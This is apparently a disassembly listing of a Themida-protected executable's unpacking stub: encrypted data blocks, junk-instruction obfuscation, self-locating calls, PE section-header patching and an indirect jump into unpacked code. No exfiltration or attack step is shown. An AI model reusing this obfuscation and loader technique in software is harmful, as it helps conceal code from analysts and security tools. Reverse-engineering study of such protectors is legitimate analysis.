		dd 0C4AEB132h, 0E8ABD2C2h, 0FAA98337h, 8FFED97Ch, 56EAB9DBh
		dd 0EC501332h, 1A8A596Fh, 5701384Bh, 56BD5833h,	6881B132h
		dd 0D7FDF95Ah, 20E1B170h, 8C50E133h, 44E9F572h,	0A945092Dh
		dd 5DB44ECDh, 18AEB132h, 0DF0354F0h, 0C41651h, 536CE49Ch
		dd 36EAB132h, 56703E3Dh, 8903B132h, 370DF2C0h, 0BF561AC1h
		dd 0A9A84C41h, 56A45852h, 2EBB132h, 0A8E35A3Ah,	6CE518D5h
		dd 0CBB5E61Eh, 373C49F1h, 56AEB9DBh, 39994D32h,	7DC57C45h
		dd 0AA903AFAh, 56EE323Dh, 715B132h, 0BF73D068h,	565DB13Fh
		dd 0FEB22A54h, 1E4B8A73h, 0D48ECBC8h, 0BFB57291h, 56EAB122h
		dd 6C695C6Bh, 0F6B3D4A2h, 0CCC095C1h, 19F9DDA0h, 56593A3Dh
		dd 5F42B132h, 91D5B132h, 0E118DB09h, 0F2E0FA6Ch, 0D7B5E153h
		dd 565DB133h, 5A47E0CBh, 0FF57B132h, 93739F42h,	9605CF54h
		dd 5EFDEDEh, 567058CEh,	1FCEB132h, 0BE0CB958h, 56AEB132h
		dd 6DBD3068h, 0BFA3B1DAh, 56D5B13Ch, 88A9473Ah,	176207BFh
		dd 3BC8B0BAh, 46B452E4h, 0AEB132h, 0E1667350h, 0DCE50FE5h
		dd 251D8329h, 0DB85EA4Ch, 56EB50A8h, 3202483Ah,	0A35DB132h
		dd 902FD152h, 3A47F072h, 68F0A53h, 0BEB49011h, 56EAB413h
		dd 0D97AD152h, 56BAB132h, 565DBCDAh, 7EA5CB32h,	0AD7914A6h
		dd 6056BB8Bh, 378EE442h, 37113A54h, 6D89BAB9h, 56B558F3h
		dd 0B651B132h, 0CB8B66B6h, 93ADE4A3h, 14043AF2h, 56DE585Ch
		dd 46AAB132h, 3FC7E56Ah, 0E95CA72Eh, 56CA58CCh,	4CEB132h
		dd 0CD18A689h, 55CAEB01h, 6D2CB579h, 8C68BEF3h,	5975B132h
		dd 56BAB6B5h, 57D3BE32h, 0A3AEB132h, 0AF47FA31h, 0D4A47009h
		dd 56D5B107h, 0EC203052h, 0DD1362C3h, 1253D0CCh, 365DB132h
		dd 56AEBEDAh, 6E601232h, 622DB7B4h, 5CC7F81Eh, 8C57B8AAh
		dd 54F2BE6Bh, 36BAB132h, 0E33DD053h, 8011BE17h,	569A5853h
		dd 4242B132h, 27D5B132h, 0A4B6CC40h, 404BED5Bh,	8D553AB2h
		dd 0E5EE554Dh, 0BFAE9EE2h, 5657B19Dh, 56ABBDDBh, 1F3B32h
		dd 92148A1h, 879D3511h,	54203CB1h, 3655B05Ah, 0EC693054h
		dd 0A4D6D7CEh, 0A9CAF45Ch, 56D358E1h, 8E38B132h, 35577FEBh
		dd 56BD3B3Dh, 0D952B132h, 56AEB133h, 563A58CAh,	0D5A4B132h
		dd 56D5B113h, 0B96BD752h, 429DFDBAh, 51BAB132h,	0CADE95FBh
		dd 4174211h, 0F311FF90h, 0EAB08DFAh, 0CDF1C9Dh,	7E703C53h
		dd 367DB059h, 56BABCDBh, 167E4A32h, 0D8BC34C5h,	0D0B1CEFFh
		dd 0DEA40826h, 56D5B133h, 598AD0CAh, 0DF7A4685h, 56BAB122h
		dd 565DBADBh, 2B659632h, 0BE2A97C9h, 4D956A62h,	59064E53h
		dd 56EAB0B2h, 0D894432h, 0C7693052h, 3025A5F1h,	0FCF42B9h
		dd 5656343Dh, 595EB132h, 56D5B9BFh, 546FBE32h, 3675B132h
		dd 6DAE953h, 565D393Dh,	59F5B132h, 5657B0B4h, 95CA4832h
		dd 56D4303Dh, 316B132h,	567C5952h, 730EB132h, 0A5F5EEh
		dd 0BFC384C3h, 5657B126h, 3256B173h, 3BF9697Dh,	0D8AD2ED2h
		dd 0E467B01Ah, 3BF84D55h, 565A586Ch, 1AB8B132h,	0AB5FD755h
		dd 0BA20D00Eh, 5D6AD752h, 372104E3h, 5675B1DAh,	0BC3BEB32h
		dd 5E5D5BA2h, 29443052h, 3718B32Bh, 5D42D1CAh, 0D6D5B132h
		dd 332AF39h, 63694759h,	0EC377598h, 5E5D2FD3h, 6673152h
		dd 5653363Dh, 0EFCDB132h, 0DDB497B1h, 4603B977h, 975B132h
		dd 840D77F1h, 0DA1901DCh, 462C91E6h, 0AFCB4858h, 0E2CBB6BBh
		dd 996ABE10h, 5AAF3A53h, 523238CBh, 56AD353Dh, 0D352B132h
		dd 56AEB123h, 5657BDDBh, 0CF212532h, 64FB1B25h,	52981FCFh
		dd 46303A9Dh, 4305D752h, 11D4D02Fh, 1325493Eh, 0E158D126h
		dd 56AC58C2h, 4525B132h, 0CA2D4EAFh, 11FCD075h,	59DB4422h
		dd 565DB0B0h, 0AA674D32h, 0AE57A1F0h, 962BD152h, 8F6ABEFEh
		dd 336F7753h, 11724B34h, 56BAA0DBh, 0B90B8F32h,	4B95C10Eh
		dd 9610E0B4h, 100D15CFh, 4CBDA77Fh, 3642A641h, 41833052h
		dd 309FFD31h, 35AB59B3h, 37F1E053h, 76C204CDh, 0D2A4B6C8h
		dd 56D5B128h, 56FE3C3Dh, 599CB132h, 5ABAB132h, 8AFBFB12h
		dd 0D9B6E32Dh, 0AD0AEED7h, 0D3268EF4h, 512812EFh, 965DBE52h
		dd 274AAC88h, 8645D079h, 56513F3Dh, 5147B132h, 8F57B132h
		dd 0D8A2EA22h, 0AAB58B08h, 0DB16E353h, 56D5A7B8h, 0D7DCD13Ah
		dd 59137DE3h, 56AEBDBFh, 56505832h, 1875B132h, 2450A658h
		dd 712D01Bh, 5675BADBh,	1B789732h, 0B75608E8h, 68525208h
		dd 50BE61CDh, 65ABB132h, 0EF105C4Ah, 3616EB5Eh,	5675BEDBh
		dd 4882EE32h, 6268DF1Dh, 945B727h, 2FE30931h, 40293C53h
		dd 0AFDDB192h, 5AAA063Dh
		dd 56793D3Dh, 0DAB5B132h, 565DB134h, 56AE333Dh,	8EDCB132h
		dd 0A352E3CAh, 0BF20803Dh, 56EAB121h, 5ED78D13h, 16A9B4ABh
		dd 527BD135h, 0A944E021h, 0C9E38F8h, 0BF68B2CBh, 56D5B120h
		dd 61427311h, 0FFF17315h, 0F9117495h, 0E4E59050h, 5A47B777h
		dd 0DC57B132h, 0B98A9298h, 9A345423h, 0DF1A2C58h, 0AC40B4B0h
		dd 0BFDB4435h, 565DB134h, 39B5839h, 5994D0F4h, 56ABB0BEh
		dd 0E9514432h, 0Fh, 78EAA00Ah, 432BD75Ah, 0A03BF5FDh, 527080F5h
		dd 198E0Fh, 66600000h, 0E90197BBh, 0Eh,	0DA1A9A95h, 0C3E70820h
		dd 0A55C5E0Eh, 0E8618CE6h, 0
; ---------------------------------------------------------------------------
		pop	edx
		sub	edx, 800ECDFh
		stc
		jg	loc_5F212F
		stc


loc_5F212F:				; CODE XREF: Themida_:005F2128j
		jl	loc_5F2136
		cld


loc_5F2136:				; CODE XREF: Themida_:loc_5F212Fj
		push	edx
		clc
		cld
		mov	eax, [edx+7FA3505h]
		jmp	loc_5F2157
; ---------------------------------------------------------------------------
		dd 13C97CC5h, 1BBA73C4h, 0B5073B02h, 673F83F5h
		db 0E3h, 5Bh, 12h
; ---------------------------------------------------------------------------


loc_5F2157:				; CODE XREF: Themida_:005F213Fj
		mov	ecx, 41C64E6Dh
		ja	loc_5F216E
		jle	loc_5F216E
		jg	$+6


loc_5F216E:				; CODE XREF: Themida_:005F215Cj
					; Themida_:005F2162j
		jmp	loc_5F2179
; ---------------------------------------------------------------------------
		db 3Eh
; ---------------------------------------------------------------------------
		rol	dword ptr [edx], 59h
		push	es
		daa


loc_5F2179:				; CODE XREF: Themida_:loc_5F216Ej
		mul	ecx
		jmp	loc_5F218A
; ---------------------------------------------------------------------------
		les	ecx, [ebp-64h]
		lds	esi, [edx]
		retn	8161h
; ---------------------------------------------------------------------------
		db 5Bh,	0E8h
; ---------------------------------------------------------------------------


loc_5F218A:				; CODE XREF: Themida_:005F217Bj
		pop	edx
		jnb	loc_5F2198
		jg	loc_5F2198
		clc


loc_5F2198:				; CODE XREF: Themida_:005F218Bj
					; Themida_:005F2191j
		add	eax, 3039h
		jnb	loc_5F21AE
		pusha
		mov	ax, 0B043h
		mov	ebx, 71A39953h
		popa


loc_5F21AE:				; CODE XREF: Themida_:005F219Dj
		and	eax, 7FFFFFFFh
		stc
		mov	[edx+7FA3505h],	eax
		pusha
		call	sub_5F21CF
		and	eax, 5EDB8F2h
		outsd
		test	[ecx+ecx*2], al
		fidivr	dword ptr [ebp-508611D3h]

; =============== S U B	R O U T	I N E =======================================



sub_5F21CF	proc near		; CODE XREF: Themida_:005F21BBp
		adc	ecx, 7ED8A150h
		pop	edi
		cmc
		popa
		pop	edx
		pusha
		movzx	edi, dx
		mov	eax, edx
		popa
		pop	ecx
		jmp	locret_5F21EB
; ---------------------------------------------------------------------------
		dw 0FE5Eh
		db 6Eh,	0D6h, 2Eh
; ---------------------------------------------------------------------------

locret_5F21EB:				; CODE XREF: sub_5F21CF+12j
		retn
sub_5F21CF	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		cmc
		push	ecx
		cld
		push	edx
		jg	loc_5F2216
		pusha
		call	sub_5F220E
		fldcw	word ptr [ecx-37h]
		push	es
		pop	ss
		xchg	eax, ecx
		scasd
		push	21AF0083h
		retn
; ---------------------------------------------------------------------------
		db 0E0h, 95h, 0EBh
; ---------------------------------------------------------------------------
		les	ecx, [ebx]

; =============== S U B	R O U T	I N E =======================================



sub_5F220E	proc near		; CODE XREF: Themida_:005F21F7p

; FUNCTION CHUNK AT 005F2276 SIZE 00000041 BYTES
; FUNCTION CHUNK AT 005F22C9 SIZE 00000014 BYTES

		pop	esi
		jnp	$+6
		popa


loc_5F2216:				; CODE XREF: Themida_:005F21F0j
		call	$+5
		pop	edx
		sub	edx, 800EDDAh
		jmp	loc_5F222C
; ---------------------------------------------------------------------------
		db 0E5h
		dd 3802067Ah
; ---------------------------------------------------------------------------


loc_5F222C:				; CODE XREF: sub_5F220E+14j
		cmc
		pusha
		call	near ptr loc_5F223B+1
		mov	ds:9DBD0A79h, eax
		jns	short loc_5F2276
		pop	edx


loc_5F223B:				; CODE XREF: sub_5F220E+20p
		add	esp, [esi-7Fh]
sub_5F220E	endp ; sp-analysis failed

		retf	198Ch
; ---------------------------------------------------------------------------
		pop	edi
		mov	eax, 1552BDBEh
		popa
		pusha
		or	di, 8D99h
		push	ebx
		jmp	loc_5F2268
; ---------------------------------------------------------------------------
		dd 0AD1C0E51h, 4FA22D29h, 3D731DD6h, 29CF1DFAh,	0BA6FDBBFh
; ---------------------------------------------------------------------------


loc_5F2268:				; CODE XREF: Themida_:005F224Fj
		pop	esi
		popa
		mov	ecx, eax
		jmp	loc_5F2276
; ---------------------------------------------------------------------------
		db 0A7h, 12h, 0E8h
		db 0DFh, 34h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5F220E


loc_5F2276:				; CODE XREF: sub_5F220E+2Aj
					; Themida_:005F226Cj
		call	near ptr dword_5F206C+7Ah
		jnp	loc_5F2282
		cmc


loc_5F2282:				; CODE XREF: sub_5F220E+6Dj
		xor	edx, edx
		jnb	loc_5F2297
		pusha
		adc	edx, 34A789E5h
		adc	bx, 24FEh
		popa


loc_5F2297:				; CODE XREF: sub_5F220E+76j
		div	ecx
		clc
		jz	loc_5F22A6
		pusha
		movsx	esi, dx
		stc
		popa


loc_5F22A6:				; CODE XREF: sub_5F220E+8Cj
		mov	eax, edx
		jz	loc_5F22B1
		pusha
		cld
		popa


loc_5F22B1:				; CODE XREF: sub_5F220E+9Aj
		pop	edx
		jmp	loc_5F22C9
; END OF FUNCTION CHUNK	FOR sub_5F220E
; ---------------------------------------------------------------------------
		db 0E3h
		dd 7F8777D9h, 0CD08D6F0h, 0A21102C9h, 45C5C18Bh
; ---------------------------------------------------------------------------
		pop	edi
; START	OF FUNCTION CHUNK FOR sub_5F220E


loc_5F22C9:				; CODE XREF: sub_5F220E+A4j
		cmc
		pop	ecx
		pusha
		sub	ah, 13h
		jl	loc_5F22DB
		jnb	$+6


loc_5F22DB:				; CODE XREF: sub_5F220E+C1j
		popa
		retn
; END OF FUNCTION CHUNK	FOR sub_5F220E
; ---------------------------------------------------------------------------
		jmp	loc_5F22E9
; ---------------------------------------------------------------------------
		dw 7C53h
		dd 0F2F978DFh
		db 24h
; ---------------------------------------------------------------------------


loc_5F22E9:				; CODE XREF: Themida_:005F22DDj
		mov	eax, eax
		cmc
		mov	eax, eax
		jnz	loc_5F2300
		jle	loc_5F2300
		jle	$+6


loc_5F2300:				; CODE XREF: Themida_:005F22EEj
					; Themida_:005F22F4j
		lea	eax, [ebp+800B5E7h]
		pusha
		mov	ebx, edx
		add	di, 4406h
		popa
		stc
		call	eax
		stc
		mov	ax, cx
		cld
		lea	eax, [ebp+800ECA5h]
		clc
		mov	[ebp+7FA1DF1h],	eax
		jmp	loc_5F232E
; ---------------------------------------------------------------------------
		db 84h,	97h, 3Ch
		db 58h,	0E0h
; ---------------------------------------------------------------------------


loc_5F232E:				; CODE XREF: Themida_:005F2324j
		lea	eax, [ebp+800EDACh]
		pusha
		jmp	loc_5F234A
; ---------------------------------------------------------------------------
		dw 0A1FEh
		dd 8F80FACEh, 0FABE6B5Dh, 5AF5F210h
		db 62h,	5Eh
; ---------------------------------------------------------------------------


loc_5F234A:				; CODE XREF: Themida_:005F2335j
		mov	dx, si
		popa
		mov	[ebp+7FA1629h],	eax
		stc
		mov	eax, 0
		jg	loc_5F2367
		jnb	loc_5F2367
		clc


loc_5F2367:				; CODE XREF: Themida_:005F235Aj
					; Themida_:005F2360j
		or	eax, eax
		jz	loc_5F24E5
		jnb	loc_5F237C
		jns	loc_5F237C
		stc


loc_5F237C:				; CODE XREF: Themida_:005F236Fj
					; Themida_:005F2375j
		clc
		mov	byte ptr [ebp+7FA0665h], 56h
		jmp	loc_5F2399
; ---------------------------------------------------------------------------
		db 0A7h, 0F7h, 62h
		dd 0D2F32659h, 0F7840072h, 26498819h
		db 63h
; ---------------------------------------------------------------------------


loc_5F2399:				; CODE XREF: Themida_:005F2384j
		jmp	loc_5F23B1
; ---------------------------------------------------------------------------
		dw 0D17Ah
		dd 119DA59Dh, 0ECCE3BABh, 0A07B4D3Dh, 0B8BBD635h
		db 0BCh
; ---------------------------------------------------------------------------


loc_5F23B1:				; CODE XREF: Themida_:loc_5F2399j
		push	0A9C530DFh
		jmp	loc_5F23C3
; ---------------------------------------------------------------------------
		db 56h
		dd 3805EEAh
; ---------------------------------------------------------------------------
		imul	esi, esp, -1Bh


loc_5F23C3:				; CODE XREF: Themida_:005F23B6j
		push	dword ptr [ebp+7FA2095h]
		pusha
		pusha
		movsx	ecx, dx
		mov	ecx, 66B2D9F6h
		popa
		jmp	loc_5F23E8
; ---------------------------------------------------------------------------
		cmp	[ebx+7EB0E8DDh], ah
		cli
		ror	byte ptr [eax+eax+49E0A71Eh], 1
		dec	esi


loc_5F23E8:				; CODE XREF: Themida_:005F23D4j
		popa
		lea	eax, [ebp+7FDA3DDh]
		pusha
		add	edx, 63A0A83Eh
		popa
		cmc
		call	eax
		cmc
		jnz	loc_5F2411
		jmp	loc_5F2411
; ---------------------------------------------------------------------------
		dw 0B2F3h
		dd 0F29B2C3Eh, 0EA57E11Eh
; ---------------------------------------------------------------------------
		inc	ebp


loc_5F2411:				; CODE XREF: Themida_:005F23FBj
					; Themida_:005F2401j
		push	eax
		jg	loc_5F2419
		cld


loc_5F2419:				; CODE XREF: Themida_:005F2412j
		lea	ecx, [ebp+7FA30DDh]
		pusha
		mov	ecx, 0D8F970Eh
		mov	ax, 0C2FDh
		popa
		push	ecx
		jns	loc_5F2444
		jmp	loc_5F2444
; ---------------------------------------------------------------------------
		dw 0FDC6h
		dd 4658729Ah, 0E20C1C1Fh, 0FEC4705Fh
; ---------------------------------------------------------------------------


loc_5F2444:				; CODE XREF: Themida_:005F242Bj
					; Themida_:005F2431j
		clc
		push	4
		pusha
		pusha
		pusha
		popa
		push	edx
		pop	esi
		popa
		jmp	loc_5F245D
; ---------------------------------------------------------------------------
		db 0BBh
; ---------------------------------------------------------------------------
		mov	cl, 9Fh
		db	2Eh
		or	eax, 8A229FD5h
		inc	edi


loc_5F245D:				; CODE XREF: Themida_:005F244Ej
		popa
		push	1000h
		ja	loc_5F246A
		cld


loc_5F246A:				; CODE XREF: Themida_:005F2463j
		push	dword ptr [ebp+7FA14A9h]
		pusha
		sub	cl, 3Eh
		pusha
		add	cx, 4832h	; CODE XREF: Themida_:005F24A3j
		popa
		popa
		call	eax
		clc


loc_5F247F:				; CODE XREF: Themida_:005F24BFj
		mov	edi, [ebp+7FA14A9h]
		stc
		add	edi, [edi+3Ch]
		pusha
		jbe	loc_5F2496
		jp	$+6


loc_5F2496:				; CODE XREF: Themida_:005F248Aj
		call	near ptr loc_5F24AD+1
		xchg	ebp, esp
		les	edi, [edx+58BADE26h]
		jle	short near ptr loc_5F2475+2
		das


loc_5F24A6:				; CODE XREF: Themida_:005F24AAj
		xor	dh, [ebx+edx*8-71h]
		jbe	short loc_5F24A6
		cwde


loc_5F24AD:				; CODE XREF: Themida_:loc_5F2496p
		fld1
		adc	[eax], al
; ---------------------------------------------------------------------------
		db 3 dup(0)
; ---------------------------------------------------------------------------
		xlat
		push	ecx
		inc	esi
		test	cl, 0Ah
		adc	eax, 992D563Ch
		jo	short loc_5F247F
		adc	esi, eax
		pop	esi
		pop	ebx
		popa
		add	edi, 0F8h
		cmc
		mov	dword ptr [edi+24h], 60000020h
		clc
		jmp	loc_5F24E5
; ---------------------------------------------------------------------------
		dw 0D62Fh
		dd 0A28FBF3Dh, 69946C69h
		db 0FEh
; ---------------------------------------------------------------------------


loc_5F24E5:				; CODE XREF: Themida_:005F2369j
					; Themida_:005F24D5j
		lea	ebx, [ebp+7FA2719h]
		clc
		stc
		mov	eax, [ebx]
		pusha
		movzx	ecx, ax
		mov	edx, 4292FC4Ch
		popa
		or	eax, eax
		jz	loc_5F2534
		clc
		mov	eax, [eax]
		jp	loc_5F251A
		jmp	loc_5F251A
; ---------------------------------------------------------------------------
		push	cs
		sbb	esi, [esi]
		push	ss
		dec	eax
		and	al, 90h
		scasd
		xor	[edx-56h], edi


loc_5F251A:				; CODE XREF: Themida_:005F2504j
					; Themida_:005F250Aj
		mov	[ebx+4], eax
		jmp	loc_5F2534
; ---------------------------------------------------------------------------
		dw 2900h
		dd 892021FAh, 15C4DD67h, 58C2F396h, 7346F4B6h
; ---------------------------------------------------------------------------


loc_5F2534:				; CODE XREF: Themida_:005F24FBj
					; Themida_:005F251Dj
		mov	ecx, 234CF6h
		call	near ptr loc_5F2544+1
		in	eax, dx
		pop	es
		inc	edi
		out	5Eh, al
		movsb


loc_5F2544:				; CODE XREF: Themida_:005F2539p
		or	[eax+0F58FCDBh], eax
		add	byte ptr [ebx],	0
; ---------------------------------------------------------------------------
		db 2 dup(0), 66h
; ---------------------------------------------------------------------------
		mov	ebx, ecx
		add	eax, 6782h
		movsx	ebx, di
		push	19B5h
		and	ebx, 1C7BB6F5h
		pop	edi
		jg	loc_5F256F
		mov	dh, ch
; START	OF FUNCTION CHUNK FOR sub_5F25A3


loc_5F256F:				; CODE XREF: Themida_:005F2567j
					; sub_5F25A3:loc_5F25DBj
		mov	ecx, [eax]
		sub	dx, 0E58Bh
		xor	ecx, 5933FFB1h
		cld
		add	ecx, 0AE9FF53h
		movzx	edx, dx
		add	ecx, 117B3765h
		cmc
		push	ecx
		call	near ptr sub_5F25A3
		movsd
		mov	edx, [edx-5E965E4Dh]
		mov	dword ptr [esi-25h], 4CD976FCh
		xor	[eax], al
; END OF FUNCTION CHUNK	FOR sub_5F25A3

; =============== S U B	R O U T	I N E =======================================



sub_5F25A3	proc far		; CODE XREF: sub_5F25A3-15p

; FUNCTION CHUNK AT 005F256F SIZE 00000034 BYTES

		pop	esi
		pop	dword ptr [eax]
		clc
		sub	eax, 4
		mov	ebx, eax
		dec	edi
		jnz	loc_5F25CF
		sbb	bx, 149Bh
		jmp	loc_5F25F0
; ---------------------------------------------------------------------------
		and	[ecx+0C497EF1h], edx
		cdq
		xor	[edx+edx*8], edi
		xor	eax, 0D6C6B080h
		push	ss
		sub	cl, bh


loc_5F25CF:				; CODE XREF: sub_5F25A3+Aj
		js	loc_5F25DB
		and	ebx, 2554D19Ah


loc_5F25DB:				; CODE XREF: sub_5F25A3:loc_5F25CFj
		jmp	loc_5F256F
; ---------------------------------------------------------------------------
		dd 93B41A74h, 796C5C57h, 7437FF4Dh, 0F2FE1A86h
; ---------------------------------------------------------------------------


loc_5F25F0:				; CODE XREF: sub_5F25A3+15j
		jmp	loc_5F2607
; ---------------------------------------------------------------------------
		db 97h,	0DBh, 1Eh
		dd 15h,	2 dup(0)
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_5F2607:				; CODE XREF: sub_5F25A3:loc_5F25F0j
		jmp	loc_5F2B74
; ---------------------------------------------------------------------------
		dd 0C4FAA472h, 6DA3FB17h, 134955C0h, 0BFF5A966h, 699FFF12h
		dd 7A978035h, 0D341EE24h, 28E895CBh, 80934076h,	0C119E81Eh
		dd 0E77442A5h, 720A7007h, 74B31632h, 77E107E7h,	9AF60EB3h
		dd 0DF85EE20h, 326CA728h, 0CFCF42A7h, 7727EC99h, 128C87ECh
		dd 0AEF02287h, 534BC91Eh, 88C11AADh, 7529EACEh,	4B67A73Fh
		dd 0FFE682E8h, 8340A3BFh, 0D66FFE6h, 20CD73CCh,	0CB78AEF0h
		dd 69CE5945h, 368F3ABh,	0B8247D10h, 78232467h, 0F41F840Fh
		dd 0A4CD1FAAh, 477042EAh, 3767A98Dh, 0DFBF5401h, 1CC22854h
		dd 6BF3FFE7h, 1AA5F916h, 10CA4BF1h, 7528D109h, 616F38h
		dd 0A7000000h, 7BA7326Ch, 0FFE68316h, 0AB66BB43h, 12CC4DF3h
		dd 748FD30Bh, 17138h, 0A7020000h, 4EA3336Bh, 0A437DDC1h
		dd 3BCBD33Fh, 81D45411h, 0E6CD0265h, 5DD730FFh,	0B35C0544h
		dd 0CE3760EBh, 0DF309528h, 0A2DB34BFh, 540E04E8h, 2F58E3BBh
		dd 30E390C6h, 4BA0386Eh, 0F05BD5C9h, 960C33D0h,	0A703BA60h
		dd 44A9346Ah, 3709BFCEh, 2256CE4Ch, 0CA122EB9h,	4CC59D75h
		dd 359EC752h, 0F0D370AAh, 0D1D77D16h, 4C52C368h, 9C6B25A6h
		dd 1CD8D972h, 6D1329BFh, 174D51C0h, 65F5A96Ah, 73DF303Bh
		dd 0AC5218FEh, 0FB9FC919h, 6CD83EC7h, 3CD9862Ch, 98A8D262h
		dd 0D422DBF4h, 0CDD0334Fh, 9DF6FFE6h, 1A848F34h, 977CE174h
		dd 0FB177C07h, 0CBFC18A3h, 6C046911h, 17A2FC17h, 0DC748EEh
		dd 74D3BE06h, 5D5C38h, 0A7ED0000h, 64A4346Ah, 0E682E548h
		dd 316DA7FFh, 0E33C7DA6h, 0D045AA3Dh, 0B1EA43CEh, 3FD328F7h
		dd 50CB95Fh, 5BB66399h,	0BC53B843h, 0B13257E2h,	89A8F0F7h
		dd 3B463874h, 0D7000000h, 0AE3792BCh, 0B1DA5D7Ah, 0EBB35E0Bh
		dd 0B4D01060h, 0FFE6D351h, 0D380267Fh, 92D6613Dh, 5EB39751h
		dd 0A7530A40h, 7CA8336Bh, 0FFE68316h, 151CD647h, 38748EDDh
		dd 17Bh, 6EA70C00h, 0F6811DF4h,	74D964CDh, 0E274FF9Fh
		dd 0FA1BFFB9h, 81D66EA4h, 5660C92h, 304CDC84h, 7E09AD2h
		dd 0D6C84CA1h, 38EE730h, 0EDB15EB3h, 25799A47h,	0BCD142EFh
		dd 0DD0D46CAh, 821CF5EBh, 0FC65CEF7h, 0E4E04571h, 8ACB07E0h
		dd 7727ECD0h, 527FA941h, 36279596h, 0EB28D57Bh,	50C328B3h
		dd 2FA80B27h, 75CE07E1h, 3C527C0Ch, 31AD7F03h, 0ACC85B01h
		dd 36DDC17Bh, 2A623268h, 0C8406F37h, 17Dh, 0BD4A4E78h
		dd 55CE018Dh, 0B03B63B0h, 0F32AE187h, 0FA3ACA96h, 0E6837BDEh
		dd 0AA50A9FFh, 0B8A0F612h, 1F5F07E0h, 0E0B8A003h, 0C76DC607h
		dd 4095257Eh, 153EC9D5h, 9C77DC6Fh, 0B85CBFDBh,	318A07E0h
		dd 0BAFA92C8h, 0E0B83B9Eh, 6A106907h, 0BD4856BDh, 19A6436Dh
		dd 505223E9h, 0E14BD134h, 3DA6FF07h, 326DEFC3h,	0C96F821Bh
		dd 1CA7F71Ch, 0B5405EB7h, 4FDAC450h, 721AD4FDh,	472BE516h
		dd 0ED42D2CCh, 0C5EE7925h, 5ABF320h, 87BFF7C7h,	695D406Fh
		dd 0D000000h, 0B9445AB8h, 0F333EA90h, 1A36C69Ah, 7FE68397h
		dd 959E43Dh, 0AF325BB4h, 6505F221h, 3C65F059h, 0CFDE8CC2h
		dd 0C0661512h, 0E60DE94Ch, 0E39DC67Fh, 2C0D424Bh, 0A3BC6F88h
		dd 5B0E07FFh, 0BA9B7E1h, 73F612A2h, 61FFE5A3h, 1C387808h
		dd 0FFE762B9h, 0AAE88EE7h, 2A6E812h, 0F080D8E9h, 0C8F17C22h
		dd 82D2B95Fh, 6B000000h, 0C87992BCh, 72951EBCh,	421E6BCCh
		dd 0A52C96B2h, 61BA07E0h, 0FCA271D6h, 0A4FA19C6h, 0A185ED19h
		dd 0DD1E07E0h, 13FF5423h, 0AC7D697Ah, 0A50EFBBAh, 9E4BF11Ah
		dd 5BF32975h, 0F87FB531h, 63093EB5h, 49D98702h,	0E22A7A2Dh
		dd 840F680Fh, 1FAAF41Fh, 17F84D8Dh, 90ACFC87h, 0FE0C72Dh
		dd 0EB91FA53h, 0A1E1B06Ah, 0E0C72285h, 82E5010Fh, 0B00FE0C7h
		dd 17BD1657h, 0FD8DD3B6h, 0E1B92EE1h, 0A5DB3417h, 0A967BCEEh
		dd 9BEE4FF5h, 0A0F535C5h, 15892F6Fh, 7E77562h, 278C1770h
		dd 0E47CB2ECh, 0A01A848Fh, 0BEA5F862h, 0BF6C128Fh, 93BF4A54h
		dd 2504B60Fh, 5BBA0F5Fh, 0EF2DAC32h, 147D1429h,	39BA6089h
		dd 0B95BB07Fh, 0D63955E5h, 0FC15050Dh, 0C350FDA3h, 0B80DA5DBh
		dd 98060959h, 0D67BE40Dh, 0DBA603Eh, 0BD0D9806h, 1ACAD793h
		dd 13B9D665h, 6AF5A966h, 506C0B05h, 1504CEEDh, 0C651BA13h
		dd 63EEB061h, 18C12FEh,	4C063FD8h, 0EFA9D2A4h, 6096080Bh
		dd 0B33E60B3h, 314h, 5CBBAD00h,	0A42F6FA7h, 3FCAD43Fh
		dd 0DD6836DAh, 77029C78h, 149FFF12h, 0B13C62AFh, 50DBC34Ch
		dd 0E9742AEBh, 85108E84h, 3D086852h, 1C890000h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp+0]
		pop	esp
		mov	[esp+0], ebp
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp+0]
		pop	esp
		mov	[esp+0], ecx
		push	ecx
		push	54AB3212h
		pop	ecx
		push	esi
		mov	esi, 29116071h
		xor	esi, 64B71B28h
		and	ecx, esi
		pop	esi
		not	ecx
		neg	ecx
		xor	ecx, 4CA2C3DAh
		mov	ebp, ecx
		pop	ecx
		push	esp
		mov	ecx, [esp+0]
		add	esp, 4
		sub	esp, 4
		mov	[esp+0], edx
		mov	edx, 8
		add	edx, ecx
		mov	[edx], ebp
		pop	edx
		mov	ecx, [esp+0]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+0]
		pop	esp
		push	dword ptr [esp+0]
		pop	ebp
		add	esp, 4
		jmp	loc_58B334
; ---------------------------------------------------------------------------
		dw 62B2h
		dd 3AA94146h
; ---------------------------------------------------------------------------


loc_5F2B74:				; CODE XREF: sub_5F25A3:loc_5F2607j
		mov	eax, 800F698h
		add	eax, ebp
		jmp	eax
sub_5F25A3	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Ch,	8, 4Bh
		dd 0BFF42918h, 561A0E06h, 10872459h, 696B4E7Dh,	0CA731010h
		dd 0B98FE643h, 7EEAC174h, 0E1C61A5Fh, 0C7B8FF2Bh, 0D46CBA14h
		dd 22E8CF37h, 894A0C22h, 0EF7AA775h, 0CE819h, 0A7150000h
		dd 1D64B21h, 9EC951B0h,	0B70F97DCh, 0A8B759F2h,	658BC181h
		dd 56BB0000h, 0B85B67CEh, 1A41256Fh, 3C5AF081h,	0D88B1A41h
		dd 0BF0F118Bh, 0F4EA81FEh, 814EE701h, 0F0F057DEh, 0DCF28152h
		dd 605CA649h, 9E9h, 18869200h, 4C256463h, 8B66FDDCh, 0C28161D9h
		dd 7AF7C885h, 0C8DE8166h, 0B6605207h, 0E1816622h, 8F61B359h
		dd 0E1E98101h, 8155A4EDh, 0C32C45D3h, 0DDC1814Ah, 0B755A4EDh
		dd 850F4886h, 1Ch, 0E9FAB70Fh, 2Dh, 54C19852h, 66265235h
		dd 1BC3A259h, 0D5BECC55h, 1DC80C42h, 68C0Fh, 0D7810000h
		dd 7B771200h, 0FFFF77E9h, 0F15823FFh, 0EEBDF567h, 58D8DC9h
		dd 6A0800F9h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
